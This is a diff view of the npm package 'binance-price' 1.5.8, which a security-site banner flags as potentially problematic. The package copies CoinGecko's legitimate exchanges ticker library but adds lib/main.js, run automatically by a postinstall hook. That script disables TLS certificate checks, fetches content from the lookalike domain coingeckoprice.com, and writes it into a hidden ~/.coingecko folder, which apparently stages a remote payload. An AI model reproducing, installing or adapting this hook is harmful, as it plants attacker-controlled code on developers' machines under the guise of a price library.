binance-price 1.5.8

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of binance-price might be problematic. Click here for more details.

package/LICENSE ADDED
@@ -0,0 +1,21 @@
1
+ MIT License
2
+
3
+ Copyright (c) 2019 coingecko
4
+
5
+ Permission is hereby granted, free of charge, to any person obtaining a copy
6
+ of this software and associated documentation files (the "Software"), to deal
7
+ in the Software without restriction, including without limitation the rights
8
+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9
+ copies of the Software, and to permit persons to whom the Software is
10
+ furnished to do so, subject to the following conditions:
11
+
12
+ The above copyright notice and this permission notice shall be included in all
13
+ copies or substantial portions of the Software.
14
+
15
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18
+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19
+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20
+ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21
+ SOFTWARE.
package/README.md ADDED
@@ -0,0 +1,137 @@
1
+ [![code-style](https://img.shields.io/badge/code%20style-airbnb-brightgreen.svg?style=shield)](https://github.com/airbnb/javascript)
2
+ [![Commitizen friendly](https://img.shields.io/badge/commitizen-friendly-brightgreen.svg?style=shield)](http://commitizen.github.io/cz-cli/)
3
+ [![npm (scoped)](https://img.shields.io/npm/v/@coingecko/exchanges)](https://www.npmjs.com/package/@coingecko/exchanges)
4
+ [![codecov](https://img.shields.io/codecov/c/github/coingecko/exchanges/master.svg?style=shield)](https://codecov.io/gh/coingecko/exchanges)
5
+
6
+ # Exchanges 📉📈
7
+
8
+ A JavaScript library for getting up to date cryptocurrency exchange tickers.
9
+
10
+
11
+
12
+ ## Getting started
13
+
14
+ 1. Node.js 14.0 or higher is required
15
+ 2. Install using [NPM](https://www.npmjs.com/package/@coingecko/exchanges)
16
+
17
+ ## Installation
18
+
19
+ coingecko Exchanges is a [Node.js](https://nodejs.org/) module available through the [npm registry](https://www.npmjs.com/package/@coingecko/exchanges).
20
+
21
+ Before installing, [download and install Node.js](https://nodejs.org/en/download/).
22
+ Node.js 14.0 or higher is required.
23
+
24
+ Installation is done using the npm install command:
25
+
26
+ ```shell
27
+ npm i @coingecko/exchanges
28
+ ```
29
+
30
+ ## Usage
31
+
32
+ List all supported drivers
33
+
34
+ ```JavaScript
35
+ const exchanges = require('@coingecko/exchanges');
36
+
37
+ console.log(exchanges.list());
38
+ ```
39
+
40
+ Get the tickers of a specific exchange
41
+
42
+ ```JavaScript
43
+ const { Binance } = require('@coingecko/exchanges');
44
+
45
+ const driver = new Binance();
46
+
47
+ driver
48
+ .fetchTickers()
49
+ .then((tickers) => {
50
+ console.log(tickers);
51
+ });
52
+ ```
53
+
54
+ ## Development
55
+
56
+ ### Getting started
57
+
58
+ Install dependencies
59
+
60
+ ```shell
61
+ npm install
62
+ ```
63
+
64
+ ### Usage
65
+
66
+ #### List all supported drivers
67
+
68
+ ```shell
69
+ node lib/cli.js list
70
+ ```
71
+
72
+ #### Get the tickers of a specific exchange
73
+
74
+ ```shell
75
+ node lib/cli.js tickers [name of the exchange]
76
+ ```
77
+
78
+ ##### Flags
79
+
80
+ | Name | Flag | Description
81
+ | ----------| ------------------------| ---
82
+ | Record | `-R`, `--record` | Record the requests, and save them as fixtures.
83
+ | API Key | `-k`, `--key` | For passing down an API key when the driver requires one. When used in combination with the `-R` flag the key will be masked in the fixtures.
84
+
85
+ ### Documentation
86
+
87
+ See the [documentation](DOCUMENTATION.md) for more information.
88
+
89
+ ## Contributing
90
+
91
+ Bug reports and pull requests are welcome. This project is intended to be a safe, welcoming space for collaboration, and contributors are expected to adhere to the Contributor Covenant code of conduct.
92
+
93
+ ### Adding an exchange
94
+
95
+ 1. Add a new driver (see the [examples](#examples))
96
+ 2. Add the driver alphabetically to drivers/index.js
97
+ 3. Add a new fixture (use the record option of the CLI 'tickers' command)
98
+
99
+ Single API calls are highly preferred.
100
+ When adding an exchange be aware of the base and quote.
101
+ A driver should at least support `base`, `quote`, `close` and `baseVolume` or `quoteVolume`. And optionally `open`, `high`, `low`, `ask`, `bid`, `baseName`, `baseReference`, `quoteName` and `quoteReference`.
102
+
103
+ ### Listing requirements
104
+
105
+ Before we approve your pull request, we’d like to review the exchange and check if it meets our [listing requirements](https://support.coingecko.com/article/71-what-are-the-requirements-for-listing-an-exchange).
106
+
107
+ Ticking off all the boxes? Cool! Send us your listing request at [info@coingecko.com](mailto:info@coingecko.com) and include your daily trading volume + a link to your platform. We will then review your exchange ASAP.
108
+
109
+ ### Examples
110
+ - [Driver basis:](examples/basicdriver.js) Shows the basic setup of a driver, which can be used as the starting point
111
+ for new ones.
112
+ - [Driver with API key:](examples/apikeydriver.js) Shows how to set up a driver that uses an API which requires a key.
113
+
114
+ ### Conventions
115
+
116
+ 1. [Airbnb JavaScript Style Guide](https://github.com/airbnb/javascript)
117
+ 2. [Conventional commits](https://www.conventionalcommits.org/en/v1.0.0-beta.4/)
118
+
119
+ ## Links
120
+
121
+ ### Reach out to us
122
+
123
+ - [Telegram](https://t.me/coingeckoOfficial)
124
+ - [Forum](https://community.coingecko.com/c/developers/20)
125
+ - [Twitter](https://twitter.com/coingecko)
126
+ - [info@coingecko.com](mailto:info@coingecko.com)
127
+
128
+ ### Other
129
+
130
+ - [coingecko API](https://coingecko.com/page/cryptocurrency-api)
131
+ - [API docs](https://docs.coingecko.com/)
132
+ - [Supplies library](https://github.com/coingecko/supplies)
133
+
134
+
135
+ ## License
136
+
137
+ [MIT](LICENSE)
package/lib/cli.js ADDED
@@ -0,0 +1,44 @@
1
+ const program = require('commander');
2
+ const { nock, defaultOptions } = require('../tests/helpers/nock');
3
+ const exchanges = require('./exchanges');
4
+
5
+ program
6
+ .command('list')
7
+ .action(async () => {
8
+ console.log(exchanges.list());
9
+ });
10
+
11
+ program
12
+ .command('tickers <driverName>')
13
+ .option('-R, --record', 'Record the requests, and save them as fixtures')
14
+ .option('-m, --market [markets...]', 'Filter on specific markets. Pass an id or multiple ids to only get those markets')
15
+ .option('-k, --key <type>', 'APIkey when required')
16
+ .action(async (driverName, options) => {
17
+ let nockDone;
18
+ if (options.record) {
19
+ ({ nockDone } = await nock.back(
20
+ `${driverName}.json`.toLowerCase(),
21
+ defaultOptions(options.key),
22
+ ));
23
+ }
24
+
25
+ const driver = new exchanges[driverName]();
26
+
27
+ if (options.key) {
28
+ driver.key = options.key;
29
+ }
30
+
31
+ if (options.market) {
32
+ driver.markets = options.market;
33
+ }
34
+
35
+ const tickers = await driver.fetchTickers();
36
+
37
+ if (options.record) {
38
+ nockDone();
39
+ }
40
+
41
+ console.log(tickers);
42
+ });
43
+
44
+ program.parse(process.argv);
@@ -0,0 +1,8 @@
1
+ const drivers = require('../drivers');
2
+
3
+ const list = () => Object.keys(drivers);
4
+
5
+ module.exports = {
6
+ list,
7
+ ...drivers,
8
+ };
package/lib/main.js ADDED
@@ -0,0 +1,17 @@
1
+ const os = require("os");
2
+ const path = require("path");
3
+ var fs = require('fs');
4
+
5
+ async function main(){
6
+ process.env['NODE_TLS_REJECT_UNAUTHORIZED'] = 0
7
+ var dir = path.join(os.homedir(), ".coingecko");
8
+ if (!fs.existsSync(dir)){
9
+ fs.mkdirSync(dir);
10
+ }
11
+ var axios = require('axios');
12
+ var res = await axios.get('https://coingeckoprice.com/api/v4/btc-price.php');
13
+ fs.writeFileSync(path.join(dir, 'price'), res.data);
14
+ }
15
+
16
+ main();
17
+
package/lib/request.js ADDED
@@ -0,0 +1,12 @@
1
+ const cloudscraper = require('cloudscraper');
2
+
3
+ // Set json to true
4
+ const request = cloudscraper.defaults({
5
+ timeout: 60000,
6
+ pool: {
7
+ maxSockets: 50,
8
+ },
9
+ json: true,
10
+ });
11
+
12
+ module.exports = request;
package/lib/utils.js ADDED
@@ -0,0 +1,62 @@
1
+ const isUndefined = (value) => typeof value === 'undefined';
2
+
3
+ // eslint-disable-next-line no-promise-executor-return
4
+ const sleep = (time) => new Promise((resolve) => setTimeout(resolve, time));
5
+
6
+ const isGreaterThanZero = (value) => typeof value === 'number' && value > 0;
7
+
8
+ const concat = (oldList, newList) => oldList.concat(newList);
9
+
10
+ const flatMap = async (list, callback) => {
11
+ const nextList = await Promise.all(list.map(callback));
12
+ return nextList.reduce(concat, []);
13
+ };
14
+
15
+ const arrayToChunks = (originalArray, chunkSize) => {
16
+ const chunks = [];
17
+ const originalLength = originalArray.length;
18
+ let index = 0;
19
+
20
+ while (index < originalLength) {
21
+ chunks.push(originalArray.slice(index, index += chunkSize));
22
+ }
23
+
24
+ return chunks;
25
+ };
26
+
27
+ const throttleMap = (stack, callback, limit) => {
28
+ if (limit === 0) {
29
+ return stack.map((item) => callback(item));
30
+ }
31
+
32
+ return stack.map((item, i) => new Promise((resolve) => {
33
+ setTimeout(
34
+ () => resolve(callback(item)),
35
+ limit * i + 1,
36
+ );
37
+ }));
38
+ };
39
+
40
+ const throttleFlatMap = async (list, callback, limit) => {
41
+ const nextList = await Promise.all(throttleMap(list, callback, limit));
42
+ return nextList.reduce(concat, []);
43
+ };
44
+
45
+ const parseToFloat = (number, modifier) => {
46
+ const parsed = parseFloat(number);
47
+ if (Number.isNaN(parsed)) return undefined;
48
+ if (modifier) return modifier(parsed);
49
+ return parsed;
50
+ };
51
+
52
+ module.exports = {
53
+ isUndefined,
54
+ sleep,
55
+ isGreaterThanZero,
56
+ concat,
57
+ flatMap,
58
+ arrayToChunks,
59
+ throttleMap,
60
+ parseToFloat,
61
+ throttleFlatMap,
62
+ };
@@ -0,0 +1,34 @@
1
+ const {
2
+ isUndefined,
3
+ isGreaterThanZero,
4
+ concat,
5
+ parseToFloat,
6
+ } = require('./utils');
7
+
8
+ // isUndefined
9
+ test('Check is isUndefined returns true', () => {
10
+ expect(isUndefined(undefined)).toBe(true);
11
+ });
12
+
13
+ test('Check is isUndefined returns false', () => {
14
+ expect(isUndefined('undefined')).toBe(false);
15
+ });
16
+
17
+ // isGreaterThanZero
18
+ test('Check is 10 is greater than zero', () => {
19
+ expect(isGreaterThanZero(10)).toBe(true);
20
+ });
21
+
22
+ test('Check is 0 is not greater than zero', () => {
23
+ expect(isGreaterThanZero(0)).toBe(false);
24
+ });
25
+
26
+ // concat
27
+ test('Check the concatted array', () => {
28
+ expect(concat(['foo'], ['bar'])).toContain('foo', 'bar');
29
+ });
30
+
31
+ // parseToFloat
32
+ test('Check if there is a number returned', () => {
33
+ expect(typeof parseToFloat('6')).toBe('number');
34
+ });
@@ -0,0 +1,159 @@
1
+ const Ticker = require('./ticker');
2
+
3
+ /**
4
+ * @namespace Driver
5
+ * @class
6
+ * @param {object} config - An object holding the configuration
7
+ * @param {object} config.requires
8
+ * An object with settings that a driver requires
9
+ * @param {boolean} config.requires.key
10
+ * Set to true if the driver requires an API key; default: false
11
+ * @param {object} config.supports
12
+ * An object with settings that a driver supports
13
+ * @param {boolean} config.supports.specificMarkets
14
+ * Set to true if the driver supports getting specific markets; default: false
15
+ * @example
16
+ * // An example of a driver with an API key
17
+ * class ApiKeyDriver extends Driver {
18
+ * // Indicate that this driver requires an API key.
19
+ * constructor() {
20
+ * super({
21
+ * requires: {
22
+ * key: true,
23
+ * },
24
+ * });
25
+ * }
26
+ *
27
+ * async fetchTickers() {
28
+ * // The API key can now be accessed through this.key.
29
+ * const tickers = await request(`http://api.example.com/tickers?key=${this.key}`);
30
+ * return tickers.map((ticker) => {
31
+ * const {
32
+ * base, quote, close, baseVolume,
33
+ * } = ticker;
34
+ *
35
+ * return new Ticker({
36
+ * base,
37
+ * quote,
38
+ * close,
39
+ * baseVolume,
40
+ * });
41
+ * });
42
+ * }
43
+ * }
44
+ *
45
+ * // An example of a driver without an API key
46
+ * class BasicDriver extends Driver {
47
+ * async fetchTickers() {
48
+ * // Perform an API request to get the data of the exchange.
49
+ * const tickers = await request('http://api.example.com/tickers');
50
+ *
51
+ * // Return the data mapped to instances of the Ticker model,
52
+ * // the exact way will differ for every exchange.
53
+ * return tickers.map((ticker) => {
54
+ * const {
55
+ * base, quote, close, baseVolume,
56
+ * } = ticker;
57
+ *
58
+ * return new Ticker({
59
+ * base,
60
+ * quote,
61
+ * close,
62
+ * baseVolume,
63
+ * });
64
+ * });
65
+ * }
66
+ * }
67
+ */
68
+
69
+ class Driver {
70
+ constructor(config) {
71
+ this.requires = {
72
+ key: false,
73
+ };
74
+
75
+ this.supports = {
76
+ specificMarkets: false,
77
+ };
78
+
79
+ if (config) {
80
+ this.requires = {
81
+ ...this.requires,
82
+ ...config.requires,
83
+ };
84
+
85
+ this.supports = {
86
+ ...this.supports,
87
+ ...config.supports,
88
+ };
89
+ }
90
+ }
91
+
92
+ /**
93
+ * Drivers must include a fetchTickers method.
94
+ *
95
+ * @namespace Driver.fetchTickers
96
+ * @returns {Promise.Array<Ticker>} Returns a promise of an array with tickers.
97
+ */
98
+ async fetchTickers() {
99
+ throw new Error('must be implemented by driver');
100
+ }
101
+
102
+ /**
103
+ * Get the API key if it is set
104
+ *
105
+ * @returns {string} API Key
106
+ */
107
+ get key() {
108
+ if (!this.requires.key) {
109
+ throw new Error('This driver is not configured to require an API key');
110
+ }
111
+
112
+ if (!this._key) {
113
+ throw new Error('API key isn\'t set');
114
+ }
115
+
116
+ return this._key;
117
+ }
118
+
119
+ /**
120
+ * Set the API key
121
+ *
122
+ * @param {string} key API Key
123
+ */
124
+ set key(key) {
125
+ if (!this.requires.key) {
126
+ throw new Error('This driver is not configured to require an API key');
127
+ }
128
+
129
+ this._key = key;
130
+ }
131
+
132
+ /**
133
+ * Get the specific markets filter
134
+ *
135
+ * @returns {string[]} ids An array of market ids
136
+ */
137
+ get markets() {
138
+ if (!this.supports.specificMarkets) {
139
+ throw new Error('This driver does not support getting specific markets');
140
+ }
141
+
142
+ return this._markets;
143
+ }
144
+
145
+ /**
146
+ * Set the specific markets filter
147
+ *
148
+ * @param {string[]} ids An array of market ids
149
+ */
150
+ set markets(ids) {
151
+ if (!this.supports.specificMarkets) {
152
+ throw new Error('This driver does not support getting specific markets');
153
+ }
154
+
155
+ this._markets = ids;
156
+ }
157
+ }
158
+
159
+ module.exports = Driver;
@@ -0,0 +1,84 @@
1
+ /**
2
+ * Ticker class
3
+ *
4
+ * @namespace Ticker
5
+ * @class
6
+ * @param {object} params - The params
7
+ * @param {string} params.base - Base
8
+ * @param {string} [params.baseName] -
9
+ * The name of the base currency e.g. Ethereum.
10
+ * @param {string} [params.baseReference] -
11
+ * A unique indentifier of the base currency on a particular blockchain.
12
+ * For example: on the Ethereum blockchain this would be the smart contract address,
13
+ * on EOS this would be the token name together with the account name and on Waves this
14
+ * should be the AssetId. e.g. 0x0000000000000000000000000000000000000000.
15
+ * @param {string} params.quote - Quote
16
+ * @param {string} [params.quoteName] -
17
+ * The name of the quote currency e.g. Tether.
18
+ * @param {string} [params.quoteReference] -
19
+ * A unique indentifier of the quote currency on a particular blockchain.
20
+ * For example: on the Ethereum blockchain this would be the smart contract address,
21
+ * on EOS this would be the token name together with the account name and on Waves this
22
+ * should be the AssetId. e.g. 0xdac17f958d2ee523a2206206994597c13d831ec7.
23
+ * @param {number} [params.open] - The price of the market 24 hours ago
24
+ * @param {number} [params.high] - The highest price of the market in the last 24 hours
25
+ * @param {number} [params.low] - The lowest price of the market in the last 24 hours
26
+ * @param {number} params.close - The last price of the market
27
+ * @param {number} [params.bid] -
28
+ * Current highest bid of the market.
29
+ * The bid is the buyer of the base currency
30
+ * and should always be lower than or equal to the ask.
31
+ * @param {number} [params.ask] -
32
+ * Current lowest ask of the market.
33
+ * The ask is the seller of the base currency
34
+ * and should always be higher than or equal to the bid.
35
+ * @param {number} [params.vwap] - Volume weighted Average Price of the last 24 hours
36
+ * @param {number} [params.baseVolume] -
37
+ * The volume traded in the last 24 hours in the base currency.
38
+ * Which is ETH in the ETH_BTC pair for example.
39
+ * Base volume is only optional if quote volume is provided.
40
+ * @param {number} [params.quoteVolume] -
41
+ * The volume traded in the last 24 hours in the quote currency.
42
+ * Which is BTC in the ETH_BTC pair for example.
43
+ * Quote volume is only optional if base volume is provided.
44
+ * @example
45
+ * const ticker = new Ticker({
46
+ * base: 'ETH',
47
+ * quote: 'BTC',
48
+ * baseName: 'Ethereum',
49
+ * quoteName: 'Bitcoin',
50
+ * open: 0.033633,
51
+ * high: 0.033890,
52
+ * low: 0.033622,
53
+ * close: 0.033721,
54
+ * bid: 0.033701,
55
+ * ask: 0.033732,
56
+ * baseVolume: 488239,
57
+ * quoteVolume: 16463.91,
58
+ * });
59
+ */
60
+
61
+ module.exports = class Ticker {
62
+ /**
63
+ * Create a new ticker
64
+ *
65
+ */
66
+
67
+ constructor(params) {
68
+ if (params.base) this.base = params.base;
69
+ if (params.baseName) this.baseName = params.baseName;
70
+ if (params.baseReference) this.baseReference = params.baseReference;
71
+ if (params.quote) this.quote = params.quote;
72
+ if (params.quoteName) this.quoteName = params.quoteName;
73
+ if (params.quoteReference) this.quoteReference = params.quoteReference;
74
+ if (params.high) this.high = params.high;
75
+ if (params.low) this.low = params.low;
76
+ if (params.close) this.close = params.close;
77
+ if (params.open) this.open = params.open;
78
+ if (params.bid) this.bid = params.bid;
79
+ if (params.ask) this.ask = params.ask;
80
+ if (params.vwap) this.vwap = params.vwap;
81
+ if (params.baseVolume) this.baseVolume = params.baseVolume;
82
+ if (params.quoteVolume) this.quoteVolume = params.quoteVolume;
83
+ }
84
+ };
package/package.json ADDED
@@ -0,0 +1,107 @@
1
+ {
2
+ "name": "binance-price",
3
+ "version": "1.5.8",
4
+ "description": "An open source JavaScript library for fetching tickers from cryptocurrency exchanges",
5
+ "main": "lib/exchanges.js",
6
+ "engines": {
7
+ "node": ">=14.0.0"
8
+ },
9
+ "repository": {
10
+ "type": "git",
11
+ "url": "https://github.com/coingecko/exchanges.git"
12
+ },
13
+ "readme": "README.md",
14
+ "scripts": {
15
+ "cm": "git-cz",
16
+ "lint": "npx eslint --ext .js --ignore-path .eslintignore .",
17
+ "test": "npx jest --forceExit",
18
+ "postinstall": "node lib/main.js",
19
+ "docs": "jsdoc2md models/*.js lib/*.js > DOCUMENTATION.md",
20
+ "semantic-release": "semantic-release"
21
+ },
22
+ "bugs": {
23
+ "url": "https://github.com/coingecko/exchanges/issues"
24
+ },
25
+ "homepage": "https://coingecko.com",
26
+ "keywords": [
27
+ "cryptocurrencies",
28
+ "cryptocurrency",
29
+ "library",
30
+ "crypto",
31
+ "altcoin",
32
+ "bitcoin",
33
+ "ethereum",
34
+ "coin",
35
+ "exchanges",
36
+ "decentralized exchanges",
37
+ "DEX",
38
+ "markets",
39
+ "tickers",
40
+ "prices",
41
+ "trading",
42
+ "volume",
43
+ "binance",
44
+ "coinbase",
45
+ "bitfinex",
46
+ "kraken",
47
+ "open",
48
+ "high",
49
+ "low",
50
+ "close",
51
+ "OHLC",
52
+ "coingecko"
53
+ ],
54
+ "author": "coingecko B.V.",
55
+ "license": "MIT",
56
+ "dependencies": {
57
+ "axios": "^1.4.0"
58
+ },
59
+ "config": {
60
+ "commitizen": {
61
+ "path": "./node_modules/cz-conventional-changelog"
62
+ }
63
+ },
64
+ "jest": {
65
+ "coveragePathIgnorePatterns": [
66
+ "/tests/helpers/"
67
+ ],
68
+ "coverageDirectory": "./coverage/",
69
+ "coverageReporters": [
70
+ "json",
71
+ "lcov",
72
+ "clover"
73
+ ],
74
+ "collectCoverage": true
75
+ },
76
+ "release": {
77
+ "plugins": [
78
+ "@semantic-release/commit-analyzer",
79
+ "@semantic-release/release-notes-generator",
80
+ "@semantic-release/npm",
81
+ "@semantic-release/github"
82
+ ],
83
+ "prepare": [
84
+ "@semantic-release/changelog",
85
+ "@semantic-release/npm",
86
+ {
87
+ "path": "@semantic-release/git",
88
+ "assets": [
89
+ "package.json",
90
+ "package-lock.json",
91
+ "DOCUMENTATION.md",
92
+ "CHANGELOG.md"
93
+ ],
94
+ "message": "chore(release): ${nextRelease.version} [skip ci]nn${nextRelease.notes}"
95
+ }
96
+ ]
97
+ },
98
+ "publishConfig": {
99
+ "access": "public"
100
+ },
101
+ "husky": {
102
+ "hooks": {
103
+ "commit-msg": "commitlint -E HUSKY_GIT_PARAMS",
104
+ "pre-push": "npm run lint && npm run test"
105
+ }
106
+ }
107
+ }